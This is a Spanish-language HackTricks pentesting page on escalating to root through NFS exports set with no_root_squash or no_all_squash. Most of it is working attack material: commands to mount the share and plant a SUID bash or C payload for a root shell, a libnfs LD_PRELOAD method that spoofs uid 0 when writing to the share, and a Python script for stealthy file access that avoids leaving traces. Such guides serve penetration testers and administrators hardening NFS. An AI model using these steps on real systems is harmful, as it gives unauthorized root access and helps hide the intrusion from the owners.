NFS no_root_squash/no_all_squash misconfiguration PE

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Lee el archivo _ /etc/exports _, si encuentras algún directorio configurado como no_root_squash, entonces puedes acceder a él desde como cliente y escribir dentro de ese directorio como si fueras el root local de la máquina.

no_root_squash: Esta opción básicamente otorga autoridad al usuario root en el cliente para acceder a archivos en el servidor NFS como root. Y esto puede tener serias implicaciones de seguridad.

no_all_squash: Esto es similar a la opción no_root_squash pero se aplica a usuarios no root. Imagina, tienes una shell como usuario nobody; revisas el archivo /etc/exports; la opción no_all_squash está presente; revisas el archivo /etc/passwd; emulas un usuario no root; creas un archivo suid como ese usuario (montando usando nfs). Ejecutas el suid como usuario nobody y te conviertes en un usuario diferente.

Escalada de Privilegios

Explotación Remota

Si has encontrado esta vulnerabilidad, puedes explotarla:

  • Montando ese directorio en una máquina cliente, y copiando como root dentro de la carpeta montada el binario /bin/bash y dándole derechos SUID, y ejecutando desde la máquina víctima ese binario bash.

#Attacker, as root user
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash

#Victim
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
  • Montar ese directorio en una máquina cliente, y como root copiar dentro de la carpeta montada nuestro payload compilado que abusará del permiso SUID, darle derechos SUID, y ejecutar desde la máquina víctima ese binario (puedes encontrar aquí algunos payloads C SUID).

#Attacker, as root user
gcc payload.c -o payload
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /tmp/payload .
chmod +s payload

#Victim
cd <SHAREDD_FOLDER>
./payload #ROOT shell

Explotación Local

Ten en cuenta que si puedes crear un túnel desde tu máquina hasta la máquina víctima, aún puedes usar la versión Remota para explotar esta escalada de privilegios tunelizando los puertos requeridos. El siguiente truco es en caso de que el archivo /etc/exports indique una IP. En este caso, no podrás usar en ningún caso el exploit remoto y necesitarás abusar de este truco. Otro requisito necesario para que el exploit funcione es que la exportación dentro de /etc/export debe estar utilizando la bandera insecure. --No estoy seguro de que si /etc/export está indicando una dirección IP este truco funcionará--

Información Básica

El escenario implica explotar un recurso NFS montado en una máquina local, aprovechando una falla en la especificación NFSv3 que permite al cliente especificar su uid/gid, lo que potencialmente habilita el acceso no autorizado. La explotación implica el uso de libnfs, una biblioteca que permite la falsificación de llamadas RPC de NFS.

Compilación de la Biblioteca

Los pasos de compilación de la biblioteca pueden requerir ajustes según la versión del kernel. En este caso específico, las llamadas al sistema fallocate estaban comentadas. El proceso de compilación implica los siguientes comandos:

./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/

Realización del Exploit

El exploit implica crear un programa C simple (pwn.c) que eleva los privilegios a root y luego ejecuta un shell. El programa se compila y el binario resultante (a.out) se coloca en el share con suid root, utilizando ld_nfs.so para falsificar el uid en las llamadas RPC:

  1. Compilar el código del exploit:

cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
  1. Colocar el exploit en el share y modificar sus permisos falsificando el uid:

LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
  1. Ejecutar el exploit para obtener privilegios de root:

/mnt/share/a.out
#root

Bono: NFShell para Acceso Sigiloso a Archivos

Una vez obtenido el acceso root, para interactuar con el share de NFS sin cambiar la propiedad (para evitar dejar rastros), se utiliza un script de Python (nfsh.py). Este script ajusta el uid para que coincida con el del archivo al que se accede, permitiendo la interacción con archivos en el share sin problemas de permisos:

#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
import sys
import os

def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid

filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))

Ejecutar como:

# ll ./mount/
drwxr-x---  6 1008 1009 1024 Apr  5  2017 9.3_old

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización